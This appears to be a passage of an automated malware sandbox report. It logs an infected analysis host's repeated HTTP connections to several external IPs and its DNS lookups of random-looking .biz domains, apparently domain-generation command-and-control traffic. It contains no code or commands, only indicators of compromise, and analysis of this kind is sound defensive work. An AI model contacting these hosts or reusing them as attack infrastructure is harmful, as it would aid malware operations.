Nov 28, 2024 12:13:38.589637041 CET	80	49176	47.129.31.212	192.168.2.22
Nov 28, 2024 12:13:38.589668036 CET	80	49176	47.129.31.212	192.168.2.22
Nov 28, 2024 12:13:38.589709997 CET	49176	80	192.168.2.22	47.129.31.212
Nov 28, 2024 12:13:38.592606068 CET	49176	80	192.168.2.22	47.129.31.212
Nov 28, 2024 12:13:38.712649107 CET	80	49176	47.129.31.212	192.168.2.22
Nov 28, 2024 12:13:38.775875092 CET	49177	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:38.897790909 CET	80	49177	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:38.897851944 CET	49177	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:38.898021936 CET	49177	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:38.898042917 CET	49177	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:39.018021107 CET	80	49177	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:39.018059015 CET	80	49177	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:40.919090986 CET	80	49177	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:40.919250011 CET	49177	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:40.919269085 CET	80	49177	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:40.919332981 CET	49177	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:41.039496899 CET	80	49177	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:41.575319052 CET	49178	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:13:41.695344925 CET	80	49178	44.221.84.105	192.168.2.22
Nov 28, 2024 12:13:41.695437908 CET	49178	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:13:41.697468996 CET	49178	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:13:41.697479010 CET	49178	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:13:41.817478895 CET	80	49178	44.221.84.105	192.168.2.22
Nov 28, 2024 12:13:41.817503929 CET	80	49178	44.221.84.105	192.168.2.22
Nov 28, 2024 12:13:42.839821100 CET	80	49178	44.221.84.105	192.168.2.22
Nov 28, 2024 12:13:42.839946985 CET	80	49178	44.221.84.105	192.168.2.22
Nov 28, 2024 12:13:42.840004921 CET	49178	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:13:42.842756033 CET	49178	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:13:42.962903023 CET	80	49178	44.221.84.105	192.168.2.22
Nov 28, 2024 12:13:42.998059988 CET	49179	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:13:43.118283033 CET	80	49179	18.141.10.107	192.168.2.22
Nov 28, 2024 12:13:43.118355989 CET	49179	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:13:43.118539095 CET	49179	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:13:43.118582010 CET	49179	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:13:43.238720894 CET	80	49179	18.141.10.107	192.168.2.22
Nov 28, 2024 12:13:43.238732100 CET	80	49179	18.141.10.107	192.168.2.22
Nov 28, 2024 12:13:45.145045996 CET	80	49179	18.141.10.107	192.168.2.22
Nov 28, 2024 12:13:45.145164013 CET	80	49179	18.141.10.107	192.168.2.22
Nov 28, 2024 12:13:45.145173073 CET	49179	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:13:45.145230055 CET	49179	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:13:45.265069008 CET	80	49179	18.141.10.107	192.168.2.22
Nov 28, 2024 12:13:45.302890062 CET	49180	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:45.423063040 CET	80	49180	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:45.423124075 CET	49180	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:45.423217058 CET	49180	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:45.423232079 CET	49180	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:45.543288946 CET	80	49180	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:45.543323040 CET	80	49180	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:46.640199900 CET	80	49180	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:46.640266895 CET	49180	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:46.640305996 CET	49180	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:46.666440964 CET	49181	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:46.760278940 CET	80	49180	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:46.786530972 CET	80	49181	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:46.786587954 CET	49181	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:46.793849945 CET	49181	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:46.793869019 CET	49181	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:46.913928986 CET	80	49181	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:46.913940907 CET	80	49181	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:47.968365908 CET	80	49181	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:47.968429089 CET	49181	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:47.968456030 CET	49181	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:13:48.088546038 CET	80	49181	172.234.222.143	192.168.2.22
Nov 28, 2024 12:13:48.116463900 CET	49182	80	192.168.2.22	34.246.200.160
Nov 28, 2024 12:13:48.236799002 CET	80	49182	34.246.200.160	192.168.2.22
Nov 28, 2024 12:13:48.237060070 CET	49182	80	192.168.2.22	34.246.200.160
Nov 28, 2024 12:13:48.237174988 CET	49182	80	192.168.2.22	34.246.200.160
Nov 28, 2024 12:13:48.237195015 CET	49182	80	192.168.2.22	34.246.200.160
Nov 28, 2024 12:13:48.357358932 CET	80	49182	34.246.200.160	192.168.2.22
Nov 28, 2024 12:13:48.357369900 CET	80	49182	34.246.200.160	192.168.2.22
Nov 28, 2024 12:13:49.618149042 CET	80	49182	34.246.200.160	192.168.2.22
Nov 28, 2024 12:13:49.618309021 CET	49182	80	192.168.2.22	34.246.200.160
Nov 28, 2024 12:13:49.618319988 CET	80	49182	34.246.200.160	192.168.2.22
Nov 28, 2024 12:13:49.618374109 CET	49182	80	192.168.2.22	34.246.200.160
Nov 28, 2024 12:13:49.738291025 CET	80	49182	34.246.200.160	192.168.2.22
Nov 28, 2024 12:13:50.245723009 CET	49183	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:13:50.365896940 CET	80	49183	18.208.156.248	192.168.2.22
Nov 28, 2024 12:13:50.365962982 CET	49183	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:13:50.369756937 CET	49183	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:13:50.369798899 CET	49183	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:13:50.489897966 CET	80	49183	18.208.156.248	192.168.2.22
Nov 28, 2024 12:13:50.489919901 CET	80	49183	18.208.156.248	192.168.2.22
Nov 28, 2024 12:13:51.464062929 CET	80	49183	18.208.156.248	192.168.2.22
Nov 28, 2024 12:13:51.464222908 CET	80	49183	18.208.156.248	192.168.2.22
Nov 28, 2024 12:13:51.464231014 CET	49183	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:13:51.464302063 CET	49183	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:13:51.584460974 CET	80	49183	18.208.156.248	192.168.2.22
Nov 28, 2024 12:13:51.704977989 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:51.825212955 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:13:51.827558994 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:51.828934908 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:51.829282045 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:51.948921919 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:13:51.949188948 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:13:52.952058077 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:13:53.195178032 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:53.367996931 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:53.368021965 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:53.488042116 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:13:53.488054991 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:13:53.701627016 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:13:54.006366968 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:13:54.249433994 CET	49185	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:54.369626999 CET	80	49185	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:54.369712114 CET	49185	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:54.369817019 CET	49185	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:54.369838953 CET	49185	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:13:54.491043091 CET	80	49185	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:54.491059065 CET	80	49185	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:56.477401018 CET	80	49185	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:56.477530003 CET	80	49185	13.251.16.150	192.168.2.22
Nov 28, 2024 12:13:56.477631092 CET	49185	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:14:01.798901081 CET	49185	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:14:01.920874119 CET	80	49185	13.251.16.150	192.168.2.22
Nov 28, 2024 12:14:01.936738968 CET	49186	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:02.057161093 CET	80	49186	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:02.058841944 CET	49186	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:02.058919907 CET	49186	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:02.058959007 CET	49186	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:02.178955078 CET	80	49186	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:02.178975105 CET	80	49186	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:03.249955893 CET	80	49186	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:03.249986887 CET	80	49186	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:03.250060081 CET	49186	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:03.250133991 CET	49186	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:03.370064020 CET	80	49186	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:03.388654947 CET	49187	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:03.508605003 CET	80	49187	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:03.508671999 CET	49187	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:03.509871006 CET	49187	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:03.509922028 CET	49187	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:03.629911900 CET	80	49187	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:03.629925013 CET	80	49187	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:04.919552088 CET	80	49187	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:04.919608116 CET	80	49187	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:04.919821024 CET	49187	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:04.919821024 CET	49187	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:05.039849997 CET	80	49187	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:10.162935019 CET	49195	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:10.283278942 CET	80	49195	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:10.286411047 CET	49195	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:10.286494017 CET	49195	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:10.286504030 CET	49195	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:10.406526089 CET	80	49195	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:10.406546116 CET	80	49195	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:11.646691084 CET	80	49195	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:11.646804094 CET	80	49195	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:11.646855116 CET	49195	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:11.646886110 CET	49195	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:11.766849995 CET	80	49195	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:11.802828074 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:14:11.802855968 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:14:11.922869921 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:14:11.922879934 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:14:12.136631966 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:14:12.137566090 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:14:12.137662888 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:14:12.257719040 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:14:12.257730007 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:14:12.473395109 CET	80	49184	208.100.26.245	192.168.2.22
Nov 28, 2024 12:14:12.679486036 CET	49184	80	192.168.2.22	208.100.26.245
Nov 28, 2024 12:14:14.356900930 CET	49197	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:14.476900101 CET	80	49197	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:14.480381966 CET	49197	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:14.484957933 CET	49197	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:14.484957933 CET	49197	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:14.604957104 CET	80	49197	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:14.605004072 CET	80	49197	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:15.842375040 CET	80	49197	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:15.842478991 CET	80	49197	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:15.842530966 CET	49197	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:15.842562914 CET	49197	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:14:15.962574959 CET	80	49197	54.244.188.177	192.168.2.22
Nov 28, 2024 12:14:15.980006933 CET	49198	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:16.100037098 CET	80	49198	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:16.100368023 CET	49198	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:16.101162910 CET	49198	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:16.101200104 CET	49198	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:16.221157074 CET	80	49198	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:16.221168041 CET	80	49198	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:18.085047960 CET	80	49198	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:18.085077047 CET	80	49198	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:18.085130930 CET	49198	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:18.085324049 CET	49198	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:18.207206964 CET	80	49198	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:18.226727962 CET	49199	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:18.348627090 CET	80	49199	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:18.348687887 CET	49199	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:18.349129915 CET	49199	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:18.349159956 CET	49199	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:18.469142914 CET	80	49199	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:18.469155073 CET	80	49199	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:19.537911892 CET	80	49199	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:19.538114071 CET	80	49199	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:19.538161993 CET	49199	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:19.538341999 CET	49199	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:19.658246994 CET	80	49199	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:19.664078951 CET	49200	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:19.784111977 CET	80	49200	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:19.784162998 CET	49200	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:19.784257889 CET	49200	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:19.784285069 CET	49200	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:19.904241085 CET	80	49200	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:19.904254913 CET	80	49200	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:20.945897102 CET	80	49200	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:20.945926905 CET	80	49200	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:20.945972919 CET	49200	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:20.945996046 CET	49200	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:14:21.066212893 CET	80	49200	44.221.84.105	192.168.2.22
Nov 28, 2024 12:14:21.081911087 CET	49201	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:21.201849937 CET	80	49201	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:21.201905012 CET	49201	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:21.202102900 CET	49201	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:21.202122927 CET	49201	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:21.322047949 CET	80	49201	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:21.322063923 CET	80	49201	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:23.276252031 CET	80	49201	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:23.276381016 CET	80	49201	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:23.276453018 CET	49201	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:23.279443979 CET	49201	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:14:23.399332047 CET	80	49201	18.141.10.107	192.168.2.22
Nov 28, 2024 12:14:25.592742920 CET	49203	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:25.713370085 CET	80	49203	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:25.713444948 CET	49203	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:25.713617086 CET	49203	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:25.713659048 CET	49203	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:25.833583117 CET	80	49203	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:25.833595991 CET	80	49203	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:26.903322935 CET	80	49203	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:26.903364897 CET	80	49203	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:26.903419971 CET	49203	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:26.903481007 CET	49203	80	192.168.2.22	18.208.156.248
Nov 28, 2024 12:14:27.023377895 CET	80	49203	18.208.156.248	192.168.2.22
Nov 28, 2024 12:14:27.040177107 CET	49204	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:14:27.160142899 CET	80	49204	13.251.16.150	192.168.2.22
Nov 28, 2024 12:14:27.160197973 CET	49204	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:14:27.160298109 CET	49204	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:14:27.160310030 CET	49204	80	192.168.2.22	13.251.16.150
Nov 28, 2024 12:14:27.280478001 CET	80	49204	13.251.16.150	192.168.2.22
Nov 28, 2024 12:14:27.280493975 CET	80	49204	13.251.16.150	192.168.2.22
Nov 28, 2024 12:14:29.268652916 CET	80	49204	13.251.16.150	192.168.2.22
Nov 28, 2024 12:14:29.268774986 CET	80	49204	13.251.16.150	192.168.2.22
Nov 28, 2024 12:14:29.268821001 CET	49204	80	192.168.2.22	13.251.16.150

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 12:11:51.748330116 CET	54562	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:11:51.757612944 CET	52917	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:11:51.880790949 CET	53	52917	8.8.8.8	192.168.2.22
Nov 28, 2024 12:11:51.883121967 CET	53	54562	8.8.8.8	192.168.2.22
Nov 28, 2024 12:11:53.482934952 CET	62751	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:11:53.548240900 CET	57893	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:11:53.606897116 CET	53	62751	8.8.8.8	192.168.2.22
Nov 28, 2024 12:11:53.671719074 CET	53	57893	8.8.8.8	192.168.2.22
Nov 28, 2024 12:11:55.789603949 CET	54821	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:11:55.924416065 CET	53	54821	8.8.8.8	192.168.2.22
Nov 28, 2024 12:11:57.487776995 CET	54719	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:11:57.611253023 CET	53	54719	8.8.8.8	192.168.2.22
Nov 28, 2024 12:11:59.186207056 CET	49881	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:11:59.321238995 CET	53	49881	8.8.8.8	192.168.2.22
Nov 28, 2024 12:12:04.685637951 CET	54998	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:12:04.810594082 CET	53	54998	8.8.8.8	192.168.2.22
Nov 28, 2024 12:12:04.812988997 CET	52781	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:12:04.948873997 CET	53	52781	8.8.8.8	192.168.2.22
Nov 28, 2024 12:12:07.205333948 CET	63926	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:12:07.339690924 CET	53	63926	8.8.8.8	192.168.2.22
Nov 28, 2024 12:12:07.340986967 CET	65510	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:12:07.464014053 CET	53	65510	8.8.8.8	192.168.2.22
Nov 28, 2024 12:12:07.465887070 CET	62672	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:12:07.600780964 CET	53	62672	8.8.8.8	192.168.2.22
Nov 28, 2024 12:12:51.929265976 CET	56475	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:12:52.054832935 CET	53	56475	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:36.258462906 CET	49384	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:36.392750025 CET	53	49384	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:38.649343014 CET	54842	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:38.772140980 CET	53	54842	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:41.439563036 CET	58105	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:41.573719025 CET	53	58105	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:42.862447023 CET	64928	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:42.996898890 CET	53	64928	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:45.167891026 CET	57390	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:45.302222967 CET	53	57390	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:47.992669106 CET	58095	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:48.115710974 CET	53	58095	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:50.120928049 CET	54261	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:50.243944883 CET	53	54261	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:51.567184925 CET	60507	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:51.702402115 CET	53	60507	8.8.8.8	192.168.2.22
Nov 28, 2024 12:13:54.113997936 CET	50446	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:13:54.248264074 CET	53	50446	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:01.800045967 CET	55939	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:01.935954094 CET	53	55939	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:03.253201962 CET	49608	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:03.387825966 CET	53	49608	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:04.927429914 CET	61486	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:05.050311089 CET	53	61486	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:06.636229038 CET	62453	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:06.759259939 CET	53	62453	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:08.026230097 CET	50568	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:08.149116993 CET	53	50568	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:10.038036108 CET	59447	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:10.162388086 CET	53	59447	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:11.666867018 CET	51828	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:11.801893950 CET	53	51828	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:12.488692045 CET	53406	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:12.623533964 CET	53	53406	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:14.218981028 CET	56345	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:14.353184938 CET	53	56345	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:15.844633102 CET	51870	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:15.979394913 CET	53	51870	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:18.087620974 CET	65009	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:18.224440098 CET	53	65009	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:19.539539099 CET	64956	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:19.663516045 CET	53	64956	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:20.947062969 CET	54521	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:21.081248045 CET	53	54521	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:23.395471096 CET	49750	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:23.519082069 CET	53	49750	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:23.751730919 CET	64687	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:23.885927916 CET	53	64687	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:25.457536936 CET	65084	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:25.592184067 CET	53	65084	8.8.8.8	192.168.2.22
Nov 28, 2024 12:14:26.905095100 CET	63373	53	192.168.2.22	8.8.8.8
Nov 28, 2024 12:14:27.039477110 CET	53	63373	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 12:11:51.748330116 CET	192.168.2.22	8.8.8.8	0x96ba	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:51.757612944 CET	192.168.2.22	8.8.8.8	0xcce2	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:53.482934952 CET	192.168.2.22	8.8.8.8	0xe817	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:53.548240900 CET	192.168.2.22	8.8.8.8	0x5662	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:55.789603949 CET	192.168.2.22	8.8.8.8	0xf993	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:57.487776995 CET	192.168.2.22	8.8.8.8	0xac3d	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:59.186207056 CET	192.168.2.22	8.8.8.8	0xc66a	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:04.685637951 CET	192.168.2.22	8.8.8.8	0xa99e	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:04.812988997 CET	192.168.2.22	8.8.8.8	0x71b4	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
